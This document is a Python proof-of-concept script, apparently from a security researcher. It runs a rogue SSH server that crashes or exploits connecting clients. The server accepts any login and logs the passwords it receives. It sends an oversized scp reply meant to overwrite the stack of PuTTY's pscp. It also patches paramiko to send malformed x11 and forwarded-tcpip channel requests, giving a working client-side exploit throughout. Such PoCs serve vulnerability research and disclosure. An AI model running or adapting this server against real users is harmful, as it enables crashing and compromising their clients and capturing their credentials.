#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Author : <github.com/tintinweb>
###############################################################################
#
# FOR DEMONSTRATION PURPOSES ONLY!
#
###############################################################################
from binascii import hexlify
import socket
import sys
import threading
import re
import logging

try:
    import paramiko
except ImportError, ie:
    logging.exception(ie)
    logging.warning("Please install python-paramiko: pip install paramiko / easy_install paramiko / <distro_pkgmgr> install python-paramiko")
    sys.exit(1)
from paramiko.py3compat import b, u, decodebytes
from paramiko.ssh_exception import SSHException, ProxyCommandFailure
from paramiko.message import Message
from paramiko.common import cMSG_CHANNEL_OPEN, DEBUG, INFO
from paramiko.channel import Channel

from paramiko.transport import Transport
logging.basicConfig(format='%(levelname)-8s %(message)s',
                    level=logging.DEBUG)
LOG = logging.getLogger(__name__)


class SSHServer (paramiko.ServerInterface):
    # (using the "user_rsa_key" files)
    data = (b'AAAAB3NzaC1yc2EAAAABIwAAAIEAyO4it3fHlmGZWJaGrfeHOVY7RWO3P9M7hp'
            b'fAu7jJ2d7eothvfeuoRFtJwhUmZDluRdFyhFY/hFAh76PJKGAusIqIQKlkJxMC'
            b'KDqIexkgHAfID/6mqvmnSJf0b5W8v5h2pI/stOSwTQ+pxVhwJ9ctYDhRSlF0iT'
            b'UWT10hcuO4Ks8=')
    good_pub_key = paramiko.RSAKey(data=decodebytes(data))

    def __init__(self, no_checks=False):
        self.event = threading.Event()
        self.peers = set([])
        self.no_checks = no_checks

    def check_channel_request(self, kind, chanid):
        LOG.info("REQUEST: CHAN %s %s"%(kind,chanid))
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        LOG.info("REQUEST: CHECK_AUTH_PASS %s %s"%(repr(username),password))
        LOG.info("* SUCCESS")
        return paramiko.AUTH_SUCCESSFUL

    def check_auth_publickey(self, username, key):
        LOG.info("REQUEST: CHECK_AUTH_PUBK %s %s (fp: %s)"%(repr(username),repr(key),hexlify(key.get_fingerprint())))
        LOG.info("* SUCCESS")
        return paramiko.AUTH_SUCCESSFUL
    
    def check_auth_gssapi_with_mic(self, username,
                                   gss_authenticated=paramiko.AUTH_FAILED,
                                   cc_file=None):
        LOG.info("REQUEST: CHECK_AUTH_GSSAPI_MIC %s %s (fp: %s)"%(repr(username),gss_authenticated,cc_file))
        LOG.info("* SUCCESS")
        return paramiko.AUTH_SUCCESSFUL

    def check_auth_gssapi_keyex(self, username,
                                gss_authenticated=paramiko.AUTH_FAILED,
                                cc_file=None):
        LOG.info("REQUEST: CHECK_AUTH_GSSAPI_KEY %s %s (fp: %s)"%(repr(username),gss_authenticated,cc_file))
        return paramiko.AUTH_SUCCESSFUL

    
    def check_channel_x11_request(self, channel, single_connection, auth_protocol, auth_cookie, screen_number):
        LOG.info("X11Req %s, %s, %s, %s, %s"%(channel, single_connection, auth_protocol, auth_cookie, screen_number))
        return True
    
    def check_channel_shell_request(self, channel):
        LOG.info("SHELL %s"%repr(channel))
        self.event.set()
        return True
    
    def check_channel_exec_request(self, channel, command):
        LOG.info("REQUEST: EXEC %s %s"%(channel,command))
        transport =  channel.get_transport()
        try:
            if "scp -f" in command \
                and (self.no_checks or "putty" in transport.CONN_INFO['client'].lower()):
                if self.no_checks:
                    LOG.warning("banner checks disabled!")
                LOG.warning("Oh, hello putty/pscp %s, nice to meet you!"%transport.CONN_INFO['client'])
                # hello putty
                # putty pscp stack buffer overwrite, EIP
                rep_time = "T1444608444 0 1444608444 0\n"
                rep_perm_size = "C755 %s \n"%('A'*200)
                LOG.info("send (time): %s"%repr(rep_time))
                channel.send(rep_time)
                LOG.info("send (perm): %s"%repr(rep_perm_size))
                channel.send(rep_perm_size)
                LOG.info("boom!")
        except ValueError: pass
        
        return True
    
    def enable_auth_gssapi(self):
        UseGSSAPI = False
        GSSAPICleanupCredentials = False
        return UseGSSAPI

    def get_allowed_auths(self, username):
        auths = 'gssapi-keyex,gssapi-with-mic,password,publickey'
        LOG.info("REQUEST: allowed auths: %s"%(auths))
        return auths
    
    def set_host_key(self, host_key):
        self.host_key = host_key
        LOG.info('ServerHostKey: %s'%u(hexlify(host_key.get_fingerprint())))
    
    def listen(self, bind, host_key=None):
        self.bind = bind
        
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        LOG.info("BIND: %s"%repr(bind))
        self.sock.bind(bind)
        self.sock.listen(100)
        LOG.info('Listening for connection ...')

    def accept(self, ):
        client, addr = self.sock.accept()
        LOG.info('new peer: %s'%repr(addr))
        peer = SSHPeerSession(self, client, addr, host_key=self.host_key)
        self.peers.add(peer)
        return peer

class SSHPeerSession(object):
    def __init__(self, server, client, addr, host_key, DoGSSAPIKeyExchange=False):
        self.server, self.client, self.addr = server, client, addr
        self.DoGSSAPIKeyExchange = DoGSSAPIKeyExchange
        self.host_key = host_key
        self.prompt = {}
        
        self.transport = paramiko.Transport(client, gss_kex=DoGSSAPIKeyExchange)  
        self.transport.set_gss_host(socket.getfqdn("."))
        try:
            self.transport.load_server_moduli()
        except:
            LOG.error('(Failed to load moduli -- gex will be unsupported.)')
            raise
        self.transport.add_server_key(self.host_key)
        self.transport.start_server(server=self.server)

    def accept(self, timeout):
        chan = self.transport.accept(timeout)
        if chan is None:
            raise Exception("No channel")
        return chan
    
    def wait(self, timeout):
        LOG.info("wait for event")
        self.server.event.wait(10)
                
class FakeShell(object):
    def __init__(self, peer, channel):
        self.peer = peer
        self.channel = channel
        self.prompt = {'username': peer.transport.get_username().strip(),
                       'host':peer.addr[0],
                       'port':peer.addr[1]}
        
    def banner(self):
        self.channel.send('\r\n\r\nHi %(username)s!\r\n\r\ncommands: echo, allchars, x11exploit, directtcpip, forwardedtcpipcrash\r\nother: pscp crash with: pscp -scp -P %(port)d %(username)s@%(host)s:/etc/passwd .\r\n\r\n'%self.prompt)
        
    def loop(self):
        f = self.channel.makefile('rU')
        while True:
            self.channel.send('%(username)s@%(host)s:~# '%self.prompt)
            cmd = ""
            while not (cmd.endswith("\r") or cmd.endswith("\n")):
                self.peer.server.event.wait(10)
                if not self.peer.server.event.is_set():
                    LOG.error('Peer did not ask for a shell within 10 seconds.')
                    sys.exit(1)
                chunk = f.read(1) #.strip('\r\n')
                if not chunk:
                    continue
                cmd +=chunk
      
            LOG.debug("<== %s"%repr(cmd))
            cmdsplit = cmd.split(" ",1)
            args = ''
            cmd = cmdsplit[0].strip()
            if len(cmdsplit)>1:
                args = cmdsplit[1].strip()
            
            if cmd=="exit":
                break
            try:
                getattr(self, "cmd_%s"%cmd)(cmd, args)
            except AttributeError, ae:
                resp = "- Unknown Command: %s\r\n"%cmd
                LOG.debug("==> %s"%repr(resp))
                self.channel.send(resp)
                
    def cmd_echo(self, cmd, args):
        resp = "%s\r\n"%args
        LOG.debug("==> %s"%repr(resp))
        self.channel.send(resp)
        
    def cmd_allchars(self, cmd, args):
        resp = ''.join(chr(c) for c in xrange(256))
        LOG.debug("==> %s"%repr(resp))
        self.channel.send(resp)
    
    def cmd_x11serverinitiated(self, cmd, args):
        resp = self.peer.transport.open_channel(kind="x11", src_addr=("192.168.139.129",1), dest_addr=("google.com",80))
        LOG.debug("==> chan: %s"%repr(resp))
    
    def cmd_x11exploit(self, cmd, args):
        resp = self.peer.transport.open_channel(kind="x11exploit", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
        LOG.debug("==> chan: %s"%repr(resp))
        
    def cmd_directtcpip(self, cmd, args):
        resp = self.peer.transport.open_channel(kind="direct-tcpip", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
        LOG.debug("==> chan: %s"%repr(resp))
    
    def cmd_forwardedtcpipcrash(self, cmd, args):
        resp = self.peer.transport.open_channel(kind="forwarded-tcpip", src_addr=("1.1.1.1",1), dest_addr=("1.1.1.1",2))
        LOG.debug("==> chan: %s"%repr(resp))
        
    def cmd_ls(self, cmd, args):
        resp = """total 96
4 -rw-------  1 user user    383 Feb 29 16:48 .bash_history
4 drwx------ 12 user user   4096 Feb 29 16:45 .cache
4 drwx------  4 user user   4096 Feb 29 16:43 .mozilla
4 drwxr-xr-x 18 user user   4096 Feb 29 16:43 .
4 drwxr-xr-x  2 user user   4096 Feb 29 16:43 Pictures
4 drwx------  3 user user   4096 Feb 29 16:43 .gnome2
4 drwx------  2 user user   4096 Feb 29 16:43 .gnome2_private
4 drwxr-xr-x 13 user user   4096 Feb 29 16:42 .config
4 drwx------  3 user user   4096 Feb 29 16:41 .gconf
4 -rw-------  1 user user    636 Feb 29 16:41 .ICEauthority
4 drwx------  3 user user   4096 Feb 29 16:35 .local
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Desktop
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Documents
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Downloads
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Music
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Public
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Templates
4 drwxr-xr-x  2 user user   4096 Feb 29 16:35 Videos
4 drwx------  3 user user   4096 Feb 29 16:35 .dbus
4 -rw-r--r--  1 user user    220 Feb 29 16:34 .bash_logout
4 -rw-r--r--  1 user user   3391 Feb 29 16:34 .bashrc
4 -rw-r--r--  1 user user   3515 Feb 29 16:34 .bashrc.original
4 -rw-r--r--  1 user user    675 Feb 29 16:34 .profile
4 drwxr-xr-x  3 root   root 4096 Feb 29 16:34 ..
""".replace('\n','\r\n')
        LOG.debug("==> %s"%repr(resp))
        self.channel.send(resp)
                
# taken from transport.open_channel
def open_channel_exploit(self,
                 kind,
                 dest_addr=None,
                 src_addr=None,
                 window_size=None,
                 max_packet_size=None):
    """
    Request a new channel to the server. `Channels <.Channel>` are
    socket-like objects used for the actual transfer of data across the
    session. You may only request a channel after negotiating encryption
    (using `connect` or `start_client`) and authenticating.

    .. note:: Modifying the the window and packet sizes might have adverse
        effects on the channel created. The default values are the same
        as in the OpenSSH code base and have been battle tested.

    :param str kind:
        the kind of channel requested (usually ``"session"``,
        ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``)
    :param tuple dest_addr:
        the destination address (address + port tuple) of this port
        forwarding, if ``kind`` is ``"forwarded-tcpip"`` or
        ``"direct-tcpip"`` (ignored for other channel types)
    :param src_addr: the source address of this port forwarding, if
        ``kind`` is ``"forwarded-tcpip"``, ``"direct-tcpip"``, or ``"x11"``
    :param int window_size:
        optional window size for this session.
    :param int max_packet_size:
        optional max packet size for this session.

    :return: a new `.Channel` on success

    :raises SSHException: if the request is rejected or the session ends
        prematurely

    .. versionchanged:: 1.15
        Added the ``window_size`` and ``max_packet_size`` arguments.
    """
    if not self.active:
        raise SSHException('SSH session not active')
    self.lock.acquire()
    try:
        window_size = self._sanitize_window_size(window_size)
        max_packet_size = self._sanitize_packet_size(max_packet_size)
        chanid = self._next_channel()
        m = Message()
        m.add_byte(cMSG_CHANNEL_OPEN)
        m.add_string("x11" if kind == "x11exploit" else kind)
        m.add_int(chanid)
        m.add_int(window_size)
        m.add_int(max_packet_size)
        if (kind == 'forwarded-tcpip') or (kind == 'direct-tcpip'):
            m.add_string(dest_addr[0])
            m.add_int(dest_addr[1])
            m.add_string(src_addr[0])
            m.add_int(src_addr[1])
        elif kind == 'x11':
            m.add_string(src_addr[0])
            m.add_int(src_addr[1])
        elif kind =='x11exploit':
            m.add_int(99999999)
            m.add_bytes('')
            m.add_int(src_addr[1])
        chan = Channel(chanid)
        self._channels.put(chanid, chan)
        self.channel_events[chanid] = event = threading.Event()
        self.channels_seen[chanid] = True
        chan._set_transport(self)
        chan._set_window(window_size, max_packet_size)
    finally:
        self.lock.release()
    self._send_user_message(m)
    while True:
        event.wait(0.1)
        if not self.active:
            e = self.get_exception()
            if e is None:
                e = SSHException('Unable to open channel.')
            raise e
        if event.is_set():
            break
    chan = self._channels.get(chanid)
    if chan is not None:
        return chan
    e = self.get_exception()
    if e is None:
        e = SSHException('Unable to open channel.')
    raise e

# taken from transport._check_banner
def _check_banner_track_client_version(self):
    # this is slow, but we only have to do it once
    for i in range(100):
        # give them 15 seconds for the first line, then just 2 seconds
        # each additional line.  (some sites have very high latency.)
        if i == 0:
            timeout = self.banner_timeout
        else:
            timeout = 2
        try:
            buf = self.packetizer.readline(timeout)
        except ProxyCommandFailure:
            raise
        except Exception as e:
            raise SSHException('Error reading SSH protocol banner' + str(e))
        if buf[:4] == 'SSH-':
            break
        self._log(DEBUG, 'Banner: ' + buf)
    if buf[:4] != 'SSH-':
        raise SSHException('Indecipherable protocol version "' + buf + '"')
    # save this server version string for later
    self.remote_version = buf
    # pull off any attached comment
    comment = ''
    i = buf.find(' ')
    if i >= 0:
        comment = buf[i+1:]
        buf = buf[:i]
    # parse out version string and make sure it matches
    segs = buf.split('-', 2)
    if len(segs) < 3:
        raise SSHException('Invalid SSH banner')
    version = segs[1]
    client = segs[2]
    if version != '1.99' and version != '2.0':
        raise SSHException('Incompatible version (%s instead of 2.0)' % (version,))
    self._log(INFO, 'Connected (version %s, client %s)' % (version, client))
    self.CONN_INFO ={'client':client, 'version':version}                        # track client version


def start_server(bind, host_key=None, no_checks=False):
        server = SSHServer(no_checks=no_checks)
        server.set_host_key(paramiko.RSAKey(filename='test_rsa.key'))
        server.listen(bind)
        try:
            peer = server.accept()
        except paramiko.SSHException:
            LOG.error('SSH negotiation failed.')
            sys.exit(1)
        
        # wait for auth / async.
        chan = peer.accept(20)
        LOG.info("Authenticated!")

        LOG.info("wait for event")
        peer.wait(10)
        if not server.event.is_set():
            LOG.error('Peer did not ask for a shell within 10 seconds.')
            sys.exit(1)
            
        # most likely waiting for a shell
        LOG.info("spawn vshell")
        vshell = FakeShell(peer, chan)
        vshell.banner()
        vshell.loop()
        vshell.channel.close()

if __name__=="__main__":
    LOG.setLevel(logging.DEBUG)
    LOG.info("monkey-patch paramiko.Transport.open_channel")
    paramiko.Transport.open_channel = open_channel_exploit
    LOG.info("monkey-patch paramiko.Transport._check_banner")
    paramiko.Transport._check_banner = _check_banner_track_client_version
    LOG.info("--start--")
    DoGSSAPIKeyExchange = False
    no_checks = False
    if "--no-checks" in sys.argv:
        no_checks = True
        sys.argv.remove("--no-checks")
    arg_bind = sys.argv[1].split(":") if len(sys.argv)>1 else ("0.0.0.0","22")
    bind = (arg_bind[0], int(arg_bind[1]))
    try:
        start_server(bind, no_checks=no_checks)
    except Exception as e:
        LOG.exception('Exception: %s'%repr(e))
        sys.exit(1)
